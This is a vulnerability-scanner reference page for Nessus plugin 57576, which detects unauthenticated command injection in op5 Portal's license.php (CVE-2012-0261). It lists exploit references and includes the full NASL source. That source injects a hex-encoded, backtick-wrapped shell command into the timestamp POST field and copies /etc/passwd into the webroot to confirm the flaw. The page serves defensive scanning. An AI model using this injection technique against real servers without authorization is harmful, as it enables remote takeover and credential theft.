op5 Portal Arbitrary Command Execution - Nessus

Critical Plugin ID: 57576

This page contains detailed information about the op5 Portal Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 57576
Name: op5 Portal Arbitrary Command Execution
Filename: op5_portal_command_execution.nasl
Vulnerability Published: 2011-12-29
This Plugin Published: 2012-01-17
Last Modification Time: 2021-01-19
Plugin Version: 1.25
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: op5_portal_detect.nasl
Required KB Items [?]: www/op5_portal
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: Critical
Vulnerability Published: 2011-12-29
Patch Published: 2011-12-29
CVE [?]: CVE-2012-0261
CPE [?]: cpe:/a:op5:system-portal

Synopsis

The remote web server hosts a PHP application that is vulnerable to arbitrary command execution.

Description

The version of op5 Config hosted on the remote web server is earlier than 1.6.2. As such, it contains a flaw in the 'license.php' script that allows a remote, unauthenticated attacker to run arbitrary commands with the privileges of the web user simply by enclosing them in backticks in the timestamp field.

Solution

Upgrade op5 Portal to version 1.6.2 or later.

Public Exploits

Target Network Port(s): 443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, Core Impact, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the op5 Portal Arbitrary Command Execution vulnerability:

Metasploit: exploit/multi/http/op5_license
[OP5 license.php Remote Command Execution]
Exploit-DB: exploits/multiple/webapps/41686.rb
[EDB-41686: OP5 5.3.5/5.4.0/5.4.2/5.5.0/5.5.1 - 'license.php' Remote Command Execution (Metasploit)]
D2 Elliot: op5_monitor_5.5_rce.html
[OP5 Monitor 5.5 RCE]
Immunity Canvas: D2ExploitPack

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	8.3 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.3 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(57576);
  script_version("1.25");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2012-0261");
  script_bugtraq_id(51212);

  script_name(english:"op5 Portal Arbitrary Command Execution");
  script_summary(english:"Attempts to execute a command.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP application that is vulnerable to
arbitrary command execution.");
  script_set_attribute(attribute:"description", value:
"The version of op5 Config hosted on the remote web server is earlier
than 1.6.2.  As such, it contains a flaw in the 'license.php' script
that allows a remote, unauthenticated attacker to run arbitrary
commands with the privileges of the web user simply by enclosing them
in backticks in the timestamp field.");

  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?24b0cd28");
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?fcd924ab");

  script_set_attribute(attribute:"solution", value:"Upgrade op5 Portal to version 1.6.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"OP5 Monitor 5.5 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'OP5 license.php Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/12/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/12/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/01/17");

  script_set_attribute(attribute:"cpe", value:"cpe:/a:op5:system-portal");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("op5_portal_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/op5_portal");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");

global_var dir, file, port;

function encode()
{
  local_var cmd, i, res;

  cmd = _FCT_ANON_ARGS[0];

  res = 'eval $(echo -ne "';

  for (i = 0; i < strlen(cmd); i++)
  {
    res += "\x" + hexstr(cmd[i]);
  }

  res += '")';

  return res;
}

function run_cmd()
{
  local_var cmd, hdrs;

  cmd = _FCT_ANON_ARGS[0];

  # Convert command to hex encoding for echo. This is necessary due to
  # several characters (notably '|', '>', and ';') being filtered.
  cmd = encode(cmd);

  # Add backticks to cause our command to be executed by PHP.
  cmd = "`" + cmd + "`";

  # Convert command to percent encoding for HTTP.
  cmd = urlencode(str:cmd);

  # Send the command to the server an an HTTP POST request.
  hdrs = make_array(
    "Content-Type", "application/x-www-form-urlencoded"
  );

  http_send_recv3(
    port         : port,
    method       : "POST",
    item         : dir + "/license.php",
    data         : "timestamp=" + unixtime() + cmd + "&action=install&install=Install",
    add_headers  : hdrs,
    exit_on_fail : TRUE
  );
}

# Get details of op5 install.
port = get_http_port(default:443);

install = get_install_from_kb(appname:"op5_portal", port:port, exit_on_fail:TRUE);
dir = install["dir"];

# Generate a unique filename. We need to prefix the filename with the
# op5common directory, because license.php tends to be in the webroot,
# which often isn't writable by Apache.
file = "op5common/" + (SCRIPT_NAME - ".nasl") + "-" + rand() + ".html";

# Attempt to run a command on the remote host. This runs, by default, as
# apache:apache with the webroot as the working directory.
run_cmd("cp /etc/passwd " + file);
req = http_last_sent_request();

# Check if the file that the previous command was trying to generate
# exists.
url = dir + "/" + file;
res = http_send_recv3(
  port   : port,
  method : "GET",
  item   : url
);

# Attempt to clean up the file created by the previous command.
run_cmd("rm " + file);

if (isnull(res)) exit(1, "The HTTP request for " + build_url(port:port, qs:url) + " failed.");

# Check if the command we ran gave us the expected output.
if (!egrep(string:res[2], pattern:"root:.*:0:[01]:.*:"))
  exit(0, "The web server on port " + port + " is not affected.");

# Report our findings.
report = NULL;
if (report_verbosity > 0)
{
  bar = crap(data:"-", length:30);
  bar = bar + " snip " + bar;
  res[2] = data_protection::redact_etc_passwd(output:res[2]);
  report =
    '\nNessus was able to verify the issue using the following request :' +
    '\n' +
    '\n' + req +
    '\n' +
    '\nWhich returned the following file contents :'+
    '\n' +
    '\n' + bar +
    '\n' + res[2] +
    '\n' + bar +
    '\n';
}
security_hole(port:port, extra:report);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/op5_portal_command_execution.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\op5_portal_command_execution.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/op5_portal_command_execution.nasl

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How to Run

Here is how to run the op5 Portal Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select op5 Portal Arbitrary Command Execution plugin ID 57576.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl op5_portal_command_execution.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a op5_portal_command_execution.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - op5_portal_command_execution.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state op5_portal_command_execution.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

51212

See also:

Similar and related Nessus plugins:

57578 - op5 Config Arbitrary Command Execution
57580 - op5 Monitor Persistent Session Cookie
66268 - op5 Monitor < 5.7.3 Multiple Vulnerabilities

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file op5_portal_command_execution.nasl version 1.25. For more plugins, visit the Nessus Plugin Library.

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op5 Portal Arbitrary Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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